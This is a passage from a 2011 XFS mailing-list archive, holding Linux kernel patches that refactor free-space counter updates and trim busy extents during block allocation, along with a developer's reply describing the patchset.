!args->isfl); - ASSERT(args->agbno % args->alignment == 0); - if (!(args->wasfromfl)) { - - agf = XFS_BUF_TO_AGF(args->agbp); - be32_add_cpu(&agf->agf_freeblks, -(args->len)); - xfs_trans_agblocks_delta(args->tp, - -((long)(args->len))); - args->pag->pagf_freeblks -= args->len; - ASSERT(be32_to_cpu(agf->agf_freeblks) <= - be32_to_cpu(agf->agf_length)); - xfs_alloc_log_agf(args->tp, args->agbp, - XFS_AGF_FREEBLKS); - /* - * Search the busylist for these blocks and mark the - * transaction as synchronous if blocks are found. This - * avoids the need to block due to a synchronous log - * force to ensure correct ordering as the synchronous - * transaction will guarantee that for us. - */ - if (xfs_alloc_busy_search(args->mp, args->agno, - args->agbno, args->len)) - xfs_trans_set_sync(args->tp); - } - if (!args->isfl) - xfs_trans_mod_sb(args->tp, - args->wasdel ? XFS_TRANS_SB_RES_FDBLOCKS : - XFS_TRANS_SB_FDBLOCKS, -slen); - XFS_STATS_INC(xs_allocx); - XFS_STATS_ADD(xs_allocb, args->len); + + ASSERT(args->len >= args->minlen); + ASSERT(args->len <= args->maxlen); + ASSERT(!args->wasfromfl || !args->isfl); + ASSERT(args->agbno % args->alignment == 0); + + if (!args->wasfromfl) { + error = xfs_alloc_update_counters(args->tp, args->pag, + args->agbp, + -((long)(args->len))); + if (error) + return error; + + /* + * Search the busylist for these blocks and mark the + * transaction as synchronous if blocks are found. This + * avoids the need to block due to a synchronous log + * force to ensure correct ordering as the synchronous + * transaction will guarantee that for us. + */ + if (xfs_alloc_busy_search(args->mp, args->agno, + args->agbno, args->len)) + xfs_trans_set_sync(args->tp); } - return 0; + + if (!args->isfl) { + xfs_trans_mod_sb(args->tp, args->wasdel ? + XFS_TRANS_SB_RES_FDBLOCKS : + XFS_TRANS_SB_FDBLOCKS, + -((long)(args->len))); + } + + XFS_STATS_INC(xs_allocx); + XFS_STATS_ADD(xs_allocb, args->len); + return error; } /* @@ -1385,6 +1401,7 @@ xfs_free_ag_extent( xfs_mount_t *mp; /* mount point struct for filesystem */ xfs_agblock_t nbno; /* new starting block of freespace */ xfs_extlen_t nlen; /* new length of freespace */ + xfs_perag_t *pag; /* per allocation group data */ mp = tp->t_mountp; /* @@ -1583,30 +1600,20 @@ xfs_free_ag_extent( XFS_WANT_CORRUPTED_GOTO(i == 1, error0); xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); cnt_cur = NULL; + /* * Update the freespace totals in the ag and superblock. */ - { - xfs_agf_t *agf; - xfs_perag_t *pag; /* per allocation group data */ - - pag = xfs_perag_get(mp, agno); - pag->pagf_freeblks += len; - xfs_perag_put(pag); - - agf = XFS_BUF_TO_AGF(agbp); - be32_add_cpu(&agf->agf_freeblks, len); - xfs_trans_agblocks_delta(tp, len); - XFS_WANT_CORRUPTED_GOTO( - be32_to_cpu(agf->agf_freeblks) <= - be32_to_cpu(agf->agf_length), - error0); - xfs_alloc_log_agf(tp, agbp, XFS_AGF_FREEBLKS); - if (!isfl) - xfs_trans_mod_sb(tp, XFS_TRANS_SB_FDBLOCKS, (long)len); - XFS_STATS_INC(xs_freex); - XFS_STATS_ADD(xs_freeb, len); - } + pag = xfs_perag_get(mp, agno); + error = xfs_alloc_update_counters(tp, pag, agbp, len); + xfs_perag_put(pag); + if (error) + goto error0; + + if (!isfl) + xfs_trans_mod_sb(tp, XFS_TRANS_SB_FDBLOCKS, (long)len); + XFS_STATS_INC(xs_freex); + XFS_STATS_ADD(xs_freeb, len); trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 06:58:29 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_61, J_CHICKENPOX_64,J_CHICKENPOX_65,J_CHICKENPOX_66,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24CwSHL165570 for ; Fri, 4 Mar 2011 06:58:29 -0600 X-ASG-Debug-ID: 1299243679-66de01560000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7648DA9603B for ; Fri, 4 Mar 2011 05:01:20 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id y1HVb8sUTJmPmAHH for ; Fri, 04 Mar 2011 05:01:20 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUdD-0004pY-MF; Fri, 04 Mar 2011 13:01:19 +0000 Message-Id: <20110304130119.656476789@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Fri, 04 Mar 2011 07:59:56 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Dave Chinner X-ASG-Orig-Subj: [PATCH 3/3] xfs: do not immediately reuse busy extent ranges Subject: [PATCH 3/3] xfs: do not immediately reuse busy extent ranges References: <20110304125953.650347660@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-skip-busy-extents X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299243680 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Every time we reallocate a busy extent, we cause a synchronous log force to occur to ensure the freeing transaction is on disk before we continue and use the newly allocated extent. This is extremely sub-optimal as we have to mark every transaction with blocks that get reused as synchronous. Instead of searching the busy extent list after deciding on the extent to allocate, check each candidate extent during the allocation decisions as to whether they are in the busy list. If they are in the busy list, we trim the busy range out of the extent we have found and determine if that trimmed range is still OK for allocation. In many cases, this check can be incorporated into the allocation extent alignment code which already does trimming of the found extent before determining if it is a valid candidate for allocation. [hch: merged two earlier patches from Dave and fixed various bugs] Signed-off-by: Dave Chinner Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-02 12:18:01.599040095 -0500 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-02 12:19:10.599027233 -0500 @@ -41,19 +41,13 @@ #define XFSA_FIXUP_BNO_OK 1 #define XFSA_FIXUP_CNT_OK 2 -/* - * Prototypes for per-ag allocation routines - */ - STATIC int xfs_alloc_ag_vextent_exact(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_near(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, - xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); - -/* - * Internal functions. - */ + xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +STATIC void xfs_alloc_busy_trim(struct xfs_alloc_arg *, + xfs_agblock_t, xfs_extlen_t, xfs_agblock_t *, xfs_extlen_t *); /* * Lookup the record equal to [bno, len] in the btree given by cur. @@ -154,19 +148,21 @@ xfs_alloc_compute_aligned( xfs_extlen_t *reslen) /* result length */ { xfs_agblock_t bno; - xfs_extlen_t diff; xfs_extlen_t len; - if (args->alignment > 1 && foundlen >= args->minlen) { - bno = roundup(foundbno, args->alignment); - diff = bno - foundbno; - len = diff >= foundlen ? 0 : foundlen - diff; + /* Trim busy sections out of found extent */ + xfs_alloc_busy_trim(args, foundbno, foundlen, &bno, &len); + + if (args->alignment > 1 && len >= args->minlen) { + xfs_agblock_t aligned_bno = roundup(bno, args->alignment); + xfs_extlen_t diff = aligned_bno - bno; + + *resbno = aligned_bno; + *reslen = diff >= len ? 0 : len - diff; } else { - bno = foundbno; - len = foundlen; + *resbno = bno; + *reslen = len; } - *resbno = bno; - *reslen = len; } /* @@ -541,16 +537,8 @@ xfs_alloc_ag_vextent( if (error) return error; - /* - * Search the busylist for these blocks and mark the - * transaction as synchronous if blocks are found. This - * avoids the need to block due to a synchronous log - * force to ensure correct ordering as the synchronous - * transaction will guarantee that for us. - */ - if (xfs_alloc_busy_search(args->mp, args->agno, - args->agbno, args->len)) - xfs_trans_set_sync(args->tp); + ASSERT(!xfs_alloc_busy_search(args->mp, args->agno, + args->agbno, args->len)); } if (!args->isfl) { @@ -577,14 +565,14 @@ xfs_alloc_ag_vextent_exact( { xfs_btree_cur_t *bno_cur;/* by block-number btree cursor */ xfs_btree_cur_t *cnt_cur;/* by count btree cursor */ - xfs_agblock_t end; /* end of allocated extent */ int error; xfs_agblock_t fbno; /* start block of found extent */ - xfs_agblock_t fend; /* end block of found extent */ xfs_extlen_t flen; /* length of found extent */ + xfs_agblock_t tbno; /* start block of trimmed extent */ + xfs_extlen_t tlen; /* length of trimmed extent */ + xfs_agblock_t tend; /* end block of trimmed extent */ + xfs_agblock_t end; /* end of allocated extent */ int i; /* success/failure of operation */ - xfs_agblock_t maxend; /* end of maximal extent */ - xfs_agblock_t minend; /* end of minimal extent */ xfs_extlen_t rlen; /* length of returned extent */ ASSERT(args->alignment == 1); @@ -614,14 +602,22 @@ xfs_alloc_ag_vextent_exact( goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); ASSERT(fbno <= args->agbno); - minend = args->agbno + args->minlen; - maxend = args->agbno + args->maxlen; - fend = fbno + flen; /* - * Give up if the freespace isn't long enough for the minimum request. + * Check for overlapping busy extents. + */ + xfs_alloc_busy_trim(args, fbno, flen, &tbno, &tlen); + + /* + * Give up if the start of the extent is busy, or the freespace isn't + * long enough for the minimum request. */ - if (fend < minend) + if (tbno > args->agbno) + goto not_found; + if (tlen < args->minlen) + goto not_found; + tend = tbno + tlen; + if (tend < args->agbno + args->minlen) goto not_found; /* @@ -630,14 +626,14 @@ xfs_alloc_ag_vextent_exact( * * Fix the length according to mod and prod if given. */ - end = XFS_AGBLOCK_MIN(fend, maxend); + end = XFS_AGBLOCK_MIN(tend, args->agbno + args->maxlen); args->len = end - args->agbno; xfs_alloc_fix_len(args); if (!xfs_alloc_fix_minleft(args)) goto not_found; rlen = args->len; - ASSERT(args->agbno + rlen <= fend); + ASSERT(args->agbno + rlen <= tend); end = args->agbno + rlen; /* @@ -686,11 +682,11 @@ xfs_alloc_find_best_extent( struct xfs_btree_cur **scur, /* searching cursor */ xfs_agblock_t gdiff, /* difference for search comparison */ xfs_agblock_t *sbno, /* extent found by search */ - xfs_extlen_t *slen, - xfs_extlen_t *slena, /* aligned length */ + xfs_extlen_t *slen, /* extent length */ + xfs_agblock_t *sbnoa, /* aligned extent found by search */ + xfs_extlen_t *slena, /* aligned extent length */ int dir) /* 0 = search right, 1 = search left */ { - xfs_agblock_t bno; xfs_agblock_t new; xfs_agblock_t sdiff; int error; @@ -708,16 +704,16 @@ xfs_alloc_find_best_extent( if (error) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(args, *sbno, *slen, &bno, slena); + xfs_alloc_compute_aligned(args, *sbno, *slen, sbnoa, slena); /* * The good extent is closer than this one. */ if (!dir) { - if (bno >= args->agbno + gdiff) + if (*sbnoa >= args->agbno + gdiff) goto out_use_good; } else { - if (bno <= args->agbno - gdiff) + if (*sbnoa <= args->agbno - gdiff) goto out_use_good; } @@ -729,8 +725,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbno, - *slen, &new); + args->alignment, *sbnoa, + *slena, &new); /* * Choose closer size and invalidate other cursor. @@ -780,7 +776,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t gtbnoa; /* aligned ... */ xfs_extlen_t gtdiff; /* difference to right side entry */ xfs_extlen_t gtlen; /* length of right side entry */ - xfs_extlen_t gtlena = 0; /* aligned ... */ + xfs_extlen_t gtlena; /* aligned ... */ xfs_agblock_t gtnew; /* useful start bno of right side */ int error; /* error code */ int i; /* result code, temporary */ @@ -789,9 +785,10 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltbnoa; /* aligned ... */ xfs_extlen_t ltdiff; /* difference to left side entry */ xfs_extlen_t ltlen; /* length of left side entry */ - xfs_extlen_t ltlena = 0; /* aligned ... */ + xfs_extlen_t ltlena; /* aligned ... */ xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; #if defined(DEBUG) && defined(__KERNEL__) /* * Randomly don't execute the first algorithm. @@ -800,13 +797,20 @@ xfs_alloc_ag_vextent_near( dofirst = random32() & 1; #endif + +restart: + bno_cur_lt = NULL; + bno_cur_gt = NULL; + ltlen = 0; + gtlena = 0; + ltlena = 0; + /* * Get a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); - ltlen = 0; - bno_cur_lt = bno_cur_gt = NULL; + /* * See if there are any free extents as big as maxlen. */ @@ -822,11 +826,13 @@ xfs_alloc_ag_vextent_near( goto error0; if (i == 0 || ltlen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_near_noentry(args); return 0; } ASSERT(i == 1); } args->wasfromfl = 0; + /* * First algorithm. * If the requested extent is large wrt the freespaces available @@ -890,7 +896,7 @@ xfs_alloc_ag_vextent_near( if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1042,11 +1048,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, - ltdiff, >bno, >len, >lena, + ltdiff, >bno, >len, + >bnoa, >lena, 0 /* search right */); } else { ASSERT(gtlena >= args->minlen); @@ -1057,11 +1064,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbno, gtlen, >new); + args->alignment, gtbnoa, gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, - gtdiff, <bno, <len, <lena, + gtdiff, <bno, <len, + <bnoa, <lena, 1 /* search left */); } @@ -1073,6 +1081,12 @@ xfs_alloc_ag_vextent_near( * If we couldn't get anything, give up. */ if (bno_cur_lt == NULL && bno_cur_gt == NULL) { + if (!forced++) { + trace_xfs_alloc_near_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + trace_xfs_alloc_size_neither(args); args->agbno = NULLAGBLOCK; return 0; @@ -1107,12 +1121,13 @@ xfs_alloc_ag_vextent_near( return 0; } rlen = args->len; - (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, ltbno, - ltlen, <new); + (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, + ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); - ASSERT(ltnew + rlen <= ltbno + ltlen); + ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); args->agbno = ltnew; + if ((error = xfs_alloc_fixup_trees(cnt_cur, bno_cur_lt, ltbno, ltlen, ltnew, rlen, XFSA_FIXUP_BNO_OK))) goto error0; @@ -1155,26 +1170,35 @@ xfs_alloc_ag_vextent_size( int i; /* temp status variable */ xfs_agblock_t rbno; /* returned block number */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; +restart: /* * Allocate and initialize a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); bno_cur = NULL; + /* * Look for an entry >= maxlen+alignment-1 blocks. */ if ((error = xfs_alloc_lookup_ge(cnt_cur, 0, args->maxlen + args->alignment - 1, &i))) goto error0; + /* - * If none, then pick up the last entry in the tree unless the - * tree is empty. - */ - if (!i) { - if ((error = xfs_alloc_ag_vextent_small(args, cnt_cur, &fbno, - &flen, &i))) + * If none or we have busy extents that we cannot allocate from, then + * we have to settle for a smaller extent. In the case that there are + * no large extents, this will return the last entry in the tree unless + * the tree is empty. In the case that there are only busy large + * extents, this will return the largest small extent unless there + * are no smaller extents available. + */ + if (!i || forced > 1) { + error = xfs_alloc_ag_vextent_small(args, cnt_cur, + &fbno, &flen, &i); + if (error) goto error0; if (i == 0 || flen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); @@ -1182,22 +1206,56 @@ xfs_alloc_ag_vextent_size( return 0; } ASSERT(i == 1); - } - /* - * There's a freespace as big as maxlen+alignment-1, get it. - */ - else { - if ((error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i))) - goto error0; - XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - } + xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); + } else { + /* + * Search for a non-busy extent that is large enough. + * If we are at low space, don't check, or if we fall of + * the end of the btree, turn off the busy check and + * restart. + */ + for (;;) { + error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i); + if (error) + goto error0; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + + xfs_alloc_compute_aligned(args, fbno, flen, + &rbno, &rlen); + + if (rlen >= args->maxlen) + break; + + error = xfs_btree_increment(cnt_cur, 0, &i); + if (error) + goto error0; + if (i == 0) { + /* + * Our only valid extents must have been busy. + * Make it unbusy by forcing the log out and + * retrying. If we've been here before, forcing + * the log isn't making the extents available, + * which means they have probably been freed in + * this transaction. In that case, we have to + * give up on them and we'll attempt a minlen + * allocation the next time around. + */ + xfs_btree_del_cursor(cnt_cur, + XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + if (!forced++) + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + } + } + /* * In the first case above, we got the last entry in the * by-size btree. Now we check to see if the space hits maxlen * once aligned; if not, we search left for something better. * This can't happen in the second case above. */ - xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), error0); @@ -1251,13 +1309,19 @@ xfs_alloc_ag_vextent_size( * Fix up the length. */ args->len = rlen; - xfs_alloc_fix_len(args); - if (rlen < args->minlen || !xfs_alloc_fix_minleft(args)) { - xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); - trace_xfs_alloc_size_nominleft(args); - args->agbno = NULLAGBLOCK; - return 0; + if (rlen < args->minlen) { + if (!forced++) { + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + goto out_nominleft; } + xfs_alloc_fix_len(args); + + if (!xfs_alloc_fix_minleft(args)) + goto out_nominleft; rlen = args->len; XFS_WANT_CORRUPTED_GOTO(rlen <= flen, error0); /* @@ -1287,6 +1351,12 @@ error0: if (bno_cur) xfs_btree_del_cursor(bno_cur, XFS_BTREE_ERROR); return error; + +out_nominleft: + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_nominleft(args); + args->agbno = NULLAGBLOCK; + return 0; } /* @@ -2657,6 +2727,177 @@ xfs_alloc_busy_search( return match; } +/* + * For a given extent [fbno, flen], search the busy extent list + * to find a subset of the extent that is not busy. + */ +STATIC void +xfs_alloc_busy_trim( + struct xfs_alloc_arg *args, + xfs_agblock_t fbno, + xfs_extlen_t flen, + xfs_agblock_t *rbno, + xfs_extlen_t *rlen) +{ + struct rb_node *rbp; + + ASSERT(flen > 0); + + spin_lock(&args->pag->pagb_lock); + rbp = args->pag->pagb_tree.rb_node; + while (rbp && flen >= args->minlen) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fbno + flen <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + if (bbno <= fbno) { + /* start overlap */ + ASSERT(bend > fbno); + ASSERT(bend <= fend); + + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * bno end + * + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * bno end + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * bno end + * + * No unbusy region in extent, return failure. + */ + if (fend <= bend) + goto fail; + + /* + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * bno end + * + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * bno end + * + * Needs to be trimmed to: + * +-------+ + * bno end + */ + fbno = bend; + } else if (bend >= fend) { + /* end overlap */ + + /* + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * bno end + * + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * bno end + * + * Needs to be trimmed to: + * +-------+ + * bno end + */ + fend = bbno; + } else { + /* middle overlap */ + + /* + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * bno end + * + * Can be trimmed to: + * +-------+ OR +-------+ + * bno end bno end + * + * We prefer the lower bno extent because the next + * allocation for this inode will use "end" as the + * target for first block. If the busy segment has + * cleared, this will get a contiguous allocation next + * time around; if thebusy segment has not cleared, + * it will get an allocation at bend, which is a forward + * allocation. + * + * If we choose segment at bend, and this remains the + * best extent for the next allocation (e.g. NEAR_BNO + * allocation) we'll next allocate at bno, which will + * give us backwards allocation. We already know that + * backwards allocation direction causes significant + * fragmentation of directories and degradataion of + * directory performance. + * + * Always chose the option that produces forward + * allocation patterns so that sequential reads and + * writes only ever seek in one direction. Only choose + * the higher bno extent if the remainin unused extent + * length is much larger than the current allocation + * request, promising us a contiguous allocation in + * the following free space. + */ + + if (bbno - fbno >= args->maxlen) { + /* left candidate fits perfect */ + fend = bbno; + } else if (fend - bend >= args->maxlen * 4) { + /* right candidate has enough free space */ + fbno = bend; + } else if (bbno - fbno >= args->minlen) { + /* left candidate fits minimum requirement */ + fend = bbno; + } else { + goto fail; + } + } + + flen = fend - fbno; + } + spin_unlock(&args->pag->pagb_lock); + + *rbno = fbno; + *rlen = flen; + return; +fail: + /* + * Return a zero extent length as failure indications. All callers + * re-check if the trimmed extent satisfies the minlen requirement. + */ + spin_unlock(&args->pag->pagb_lock); + *rbno = fbno; + *rlen = 0; +} + void xfs_alloc_busy_clear( struct xfs_mount *mp, Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-02 12:17:26.235027219 -0500 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-02 12:18:02.011028461 -0500 @@ -1433,11 +1433,14 @@ DEFINE_ALLOC_EVENT(xfs_alloc_near_first) DEFINE_ALLOC_EVENT(xfs_alloc_near_greater); DEFINE_ALLOC_EVENT(xfs_alloc_near_lesser); DEFINE_ALLOC_EVENT(xfs_alloc_near_error); +DEFINE_ALLOC_EVENT(xfs_alloc_near_noentry); +DEFINE_ALLOC_EVENT(xfs_alloc_near_busy); DEFINE_ALLOC_EVENT(xfs_alloc_size_neither); DEFINE_ALLOC_EVENT(xfs_alloc_size_noentry); DEFINE_ALLOC_EVENT(xfs_alloc_size_nominleft); DEFINE_ALLOC_EVENT(xfs_alloc_size_done); DEFINE_ALLOC_EVENT(xfs_alloc_size_error); +DEFINE_ALLOC_EVENT(xfs_alloc_size_busy); DEFINE_ALLOC_EVENT(xfs_alloc_small_freelist); DEFINE_ALLOC_EVENT(xfs_alloc_small_notenough); DEFINE_ALLOC_EVENT(xfs_alloc_small_done); From BATV+60e1c442fc247f98af17+2749+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 4 07:16:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24DGrth166749 for ; Fri, 4 Mar 2011 07:16:53 -0600 X-ASG-Debug-ID: 1299244784-725a011a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DBC6710A7C2E for ; Fri, 4 Mar 2011 05:19:44 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id pzrNV78xZMUfa62J for ; Fri, 04 Mar 2011 05:19:44 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvUv2-0008MX-8I for xfs@oss.sgi.com; Fri, 04 Mar 2011 13:19:44 +0000 Date: Fri, 4 Mar 2011 08:19:44 -0500 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 0/3] avoid busy extents during user data allocations Subject: Re: [PATCH 0/3] avoid busy extents during user data allocations Message-ID: <20110304131944.GA31536@infradead.org> References: <20110304125953.650347660@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110304125953.650347660@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299244784 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 07:59:53AM -0500, Christoph Hellwig wrote: > This patchset adds support to trim down extents Sorry, sent this out before finishing up the introduction. This patchset adds support for trimming down allocations of user data to avoid busy extents. I'm actually not quite sure it's overly useful in this form, as we're much better off allowing free reallocation between data extents, and only avoid busy extents coming from freed metadata. Neverless I'd like to get a review of the new search algorithm in patch 3, especially for the nice comments explaining it all, based on a mail from Dave. Patches 1 and 2 on the other hand are simple cleanups which I think should go into the tree ASAP. The other patches from the previous submitting are back to the drawing board - implementing Dave's suggestion of skipping busy extents for metadata to user data reallocation promises to give a lot of speedups, but making it work with the requirement to track freed extents for discard purposes isn't quite trivial as we might have to remove extents from the busy list during reallocations, which requires additional infrastructure to lock the list of busy extents in the transaction / cil context which isn't there yet, and additional exclusion of allocations from ongoing discards. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs ---end quoted text--- From sandeen@sandeen.net Fri Mar 4 09:04:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24F4KEj171923 for ; Fri, 4 Mar 2011 09:04:20 -0600 X-ASG-Debug-ID: 1299251230-726303e40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6986E157FF8B for ; Fri, 4 Mar 2011 07:07:10 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Vv9SznrQMl1XWBQ2 for ; Fri, 04 Mar 2011 07:07:10 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 4BB2A48FDAA9; Fri, 4 Mar 2011 09:07:10 -0600 (CST) Message-ID: <4D71001D.2040506@sandeen.net> Date: Fri, 04 Mar 2011 09:07:09 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110221 Thunderbird/3.1.8 MIME-Version: 1.0 To: Marc Lehmann CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 